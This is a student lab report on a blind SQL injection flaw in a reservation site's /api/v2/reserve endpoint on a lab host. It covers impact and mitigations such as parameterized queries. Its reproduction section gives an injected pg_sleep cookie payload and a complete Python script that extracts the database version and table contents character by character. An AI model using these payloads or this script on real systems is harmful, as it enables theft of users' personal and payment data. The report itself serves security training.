CSOC 1050: Lab Assignment #2

September 26, 2023

Prepared By: Ashish Hedau

Table of Contents

[Blind SQL injection vulnerability affecting http://10.5.50.20 (‘Dorsia’) leading to Sensitive Data Exposure 2](#_Toc146627263)

[Description 2](#_Toc146627264)

[Impact 2](#_Toc146627265)

[Recommendations 3](#_Toc146627266)

[Steps to Reproduce 4](#_Toc146627267)

# Blind SQL injection vulnerability affecting <http://10.5.50.20> (‘Dorsia’) leading to Sensitive Data Exposure

## Description

The web application, accessible at **http://10.5.50.20**, includes a reservation feature on its landing page named "Dorsia." However, it contains a vulnerability related to blind SQL injection due to non-parameterized database queries in the endpoint **/api/v2/reserve.** CWE-89 defines this as an issue where insufficient removal or quoting of SQL syntax in user-controlled inputs can lead to SQL interpretation, potentially compromising the application's security.

[Learn more about CWE-89](https://cwe.mitre.org/data/definitions/89.html)

## Impact

The vulnerability primarily resides in the **cookie** parameter of the **/api/v2/reserve** endpoint. Lacking proper parameterization, malicious actors can exploit this weakness. They can craft code to inject time-based blind SQL queries, effectively executing SQL commands on the underlying database. The consequence of successful exploitation includes exposing sensitive user information, including reservation details. During our assessment, instances were found where credit card information was stored within the notes section of certain user profiles.

Note: Time-based Blind SQL Injection involves injecting SQL queries that induce intentional delays (e.g., using functions like "sleep" or "waitfor delay"). By measuring the application's response time, attackers determine whether the injected condition is true, thereby revealing database information.

## Recommendations

To mitigate this vulnerability, we recommend the following steps:

 **Use Prepared Statements and Parameterized Queries:** Utilize prepared statements or parameterized queries provided by your programming language or framework. This approach automatically handles input sanitization and ensures that user inputs are treated as data, not code.

 **Object Relational Mapping (ORM):** If possible, use an ORM library that abstracts database interactions. ORMs often generate safe SQL queries and protect against SQL injection.

 **Input Validation:** Implement input validation and filtering to ensure that user inputs match expected formats and types. Reject inputs that contain unexpected characters or patterns.

 **Escaping User Inputs:** When you must include user inputs in SQL queries, use proper escaping functions or methods provided by your database library to neutralize any malicious input.

*Furthermore, we strongly advise including a prominent warning statement on the landing page, cautioning users against entering sensitive information, such as credit card details, in the notes section.*

## Steps to Reproduce

Access the landing page at http://10.5.50.20.

A screenshot of a computer

Description automatically generated

We reviewed the provided source code available at http://10.5.50.20/source.zip.

A screenshot of a computer

Description automatically generated

The provided source code can be seen from the snippet below.

A screenshot of a computer code

Description automatically generated

The highlighted query is susceptible to SQL injection due to the lack of proper parameterization. The endpoint it is executing is **/api/v2/reserve.**

A screenshot of a computer program

Description automatically generated

The cookie parameter we exploited was “**Cookie: vid=e5e63dcf-7b76-44b6-8521-163be8582799' OR (SELECT pg\_sleep(4)) IS NOT NULL –** “ and on the bottom right the delay caused by the injection was **4,003 milliseconds,** exactly the injection command intended to do.

A screenshot of a computer

Description automatically generated

We wrote a python code to exploit the vulnerability found at the cookie parameter. The code first asks the user to enter the URL, following which it presents a Menu to either **retrieve the information** or the **database name**. The menu also has an **exit** function to terminate the code.

*Note: To protect financial information, we have masked the credit card data.*

A screen shot of a computer

Description automatically generated  
  
  
  
  
  
  
  
The python code we used is below.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

import requests

import time

import json

import string

import func\_timeout

# Banner

print("\033[93m" + """

╭━━━┳━━━┳╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╭╮

┃╭━╮┃╭━╮┃┃╱╱╱╱╱╱╱╱┃┃╱╱╱╭╯╰╮

┃╰━━┫┃╱┃┃┃╱╱╭━━┳━━┫┃╭━━╋╮╭╯

╰━━╮┃┃╱┃┃┃╱╭┫━━┫╭╮┃┃┃╭╮┣┫┃

┃╰━╯┃╰━╯┃╰━╯┣━━┃╰╯┃╰┫╰╯┃┃╰╮

╰━━━┻━━╮┣━━━┻━━┫╭━┻━┻━━┻┻━╯

╱╱╱╱╱╱╱╰╯╱╱╱╱╱╱┃┃

╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰╯

Blind SQL injection module by ZEUS

""" + "\033[0m")

# Get the base URL from the user

base\_url = input("Enter the base URL (e.g., http://10.X.50.20): ")

# Create the Cookie as a JSON object with the characters replaced

cookie = {

"vid": "e5e63dcf-7b76-44b6-8521-163be8582799"

}

# Define the headers

headers = {

"User-Agent": "Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0",

"Accept": "\*/\*",

"Accept-Language": "en-US,en;q=0.5",

"Accept-Encoding": "gzip, deflate",

"Connection": "close",

}

# Variable to store valid characters

valid\_characters = []

# Define characters (including uppercase, lowercase, numbers, special characters, and space)

charset = string.ascii\_uppercase + string.ascii\_lowercase + string.digits + string.punctuation + " "

# Initialize the offset

offset = 1

# Initialize consecutive blank space counter

consecutive\_blank\_spaces = 0

# Function to execute the blind SQLi loop

def execute\_blind\_sqli():

global headers, offset, consecutive\_blank\_spaces

print('\n\033[91m' + '-' \* 10 + f' Database Name ' + '-' \* 10 + '\033[0m')

while True:

offset\_incremented = False

for char in charset:

headers = headers.copy()

# Construct the cookie header

cookie\_payload = f"vid=\"e5e63dcf-7b76-44b6-8521-163be8582799' OR (SELECT CASE WHEN SUBSTRING(version(),'{offset}',1) = '{char}' THEN pg\_sleep(4) ELSE NULL END) IS NOT NULL --\""

headers["Cookie"] = cookie\_payload

start\_time = time.time()

response = requests.get(f"{base\_url}/api/v2/reserve", headers=headers)

end\_time = time.time()

response\_time = end\_time - start\_time

if response\_time > 4:

valid\_characters.append(char)

print(char, end='', flush=True)

offset += 1

offset\_incremented = True

consecutive\_blank\_spaces = 0 # Reset the counter since a character was found

break

if not offset\_incremented:

offset += 1

consecutive\_blank\_spaces += 1

if consecutive\_blank\_spaces >= 3:

break # End the loop if three consecutive blank spaces are detected

if offset > 255:

break

print()

# Function to execute table information extraction

def execute\_table\_info\_extraction():

global headers, offset

table\_name = input("\033[96m" + "Enter the table name you want to print (e.g., reservations, menu\_items, or visitors): " + "\033[0m")

if table\_name not in ["reservations", "menu\_items", "visitors"]:

print("Invalid table name. Exiting...")

else:

print('\n\033[91m' + '-' \* 10 + f' Retrieving information from {table\_name} table ' + '-' \* 10 + '\033[0m')

table\_schema = 'public' # Default schema for this demo

num\_columns = int(extract\_number(f"' OR (SELECT CASE WHEN COUNT(\*) = {{}} THEN pg\_sleep(4) ELSE NULL END FROM information\_schema.columns WHERE table\_schema='{table\_schema}' AND table\_name='{table\_name}') IS NOT NULL --"))

column\_names = []

print("| ", end="", flush=True)

for column\_idx in range(num\_columns):

column\_name = extract\_string(f"' OR (SELECT CASE WHEN SUBSTRING((SELECT column\_name FROM information\_schema.columns "

f"WHERE table\_schema='{table\_schema}' AND table\_name='{table\_name}' LIMIT 1 OFFSET {column\_idx}),{{}},1) = '{{}}' "

f"THEN pg\_sleep(3) ELSE NULL END) IS NOT NULL --")

column\_names.append(column\_name)

print(" | ", end="", flush=True)

print()

print('-' \* (len(column\_names) \* 15)) # Print a line for visual separation

num\_rows = int(extract\_number(f"' OR (SELECT CASE WHEN COUNT(\*) = {{}} THEN pg\_sleep(4) ELSE NULL END FROM {table\_schema}.{table\_name}) IS NOT NULL --"))

print(num\_rows)

for row\_idx in range(0, num\_rows):

end\_of\_table = True

print(f"| ", end="", flush=True)

for col\_idx, col\_name in enumerate(column\_names):

cell\_data = extract\_string(f"' OR (SELECT CASE WHEN (SELECT SUBSTRING(CAST({col\_name} AS VARCHAR),{{}},1) FROM {table\_schema}.{table\_name} LIMIT 1 OFFSET {row\_idx}) = '{{}}' THEN pg\_sleep(3) ELSE NULL END) IS NOT NULL --")

if cell\_data:

end\_of\_table = False

print(f" | ", end="", flush=True)

else:

print(f"| ", end="", flush=True)

print()

if end\_of\_table:

break

# Function to execute a long-running function with a timeout

def run\_function\_with\_timeout(f, updated\_cookie, max\_wait):

try:

return func\_timeout.func\_timeout(max\_wait, f, args=(updated\_cookie,))

except func\_timeout.FunctionTimedOut:

return True

# Function to check payload

def check\_payload\_for\_blind\_sqli(payload):

vid\_value = str(cookie.get("vid"))

updated\_cookie = dict(cookie)

updated\_cookie["vid"] = vid\_value + str(payload)

return run\_function\_with\_timeout(long\_running\_function, updated\_cookie, 2)

# Function to extract a string from the database

def extract\_string(query\_template, max\_length=100):

extracted\_string = ""

for position in range(1, max\_length + 1):

found\_char = False

for char in charset:

payload = query\_template.format(position, char)

if check\_payload\_for\_blind\_sqli(payload):

extracted\_string += char

print(char, end="", flush=True) # Print each character as it's found

found\_char = True

break

if not found\_char:

break

return extracted\_string

# Function to extract a number from the database

def extract\_number(query\_template, max\_num=10000):

for number in range(max\_num):

payload = query\_template.format(number)

if check\_payload\_for\_blind\_sqli(payload):

return number

return None # If we've exhausted our range and found nothing, return None

# Function to execute a long-running function

def long\_running\_function(updated\_cookie):

requests.get(f"{base\_url}/api/v2/reserve", headers=headers, cookies=updated\_cookie)

# Menu for user selection

while True:

print("\033[92m" + "\nMenu:" + "\033[0m")

print("\033[92m" + "1. Retrieve the Database version" + "\033[0m")

print("\033[92m" + "2. Retrieve the Database information" + "\033[0m")

print("\033[92m" + "3. Exit" + "\033[0m")

choice = input("Enter your choice (1 or 2 or 3): ")

if choice == '1':

execute\_blind\_sqli() # Execute the blind SQLi loop

elif choice == '2':

execute\_table\_info\_extraction() # Execute table information extraction

elif choice == '3':

print("Exiting...")

break

else:

print("Invalid choice. Please select 1, 2, or 3.")

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**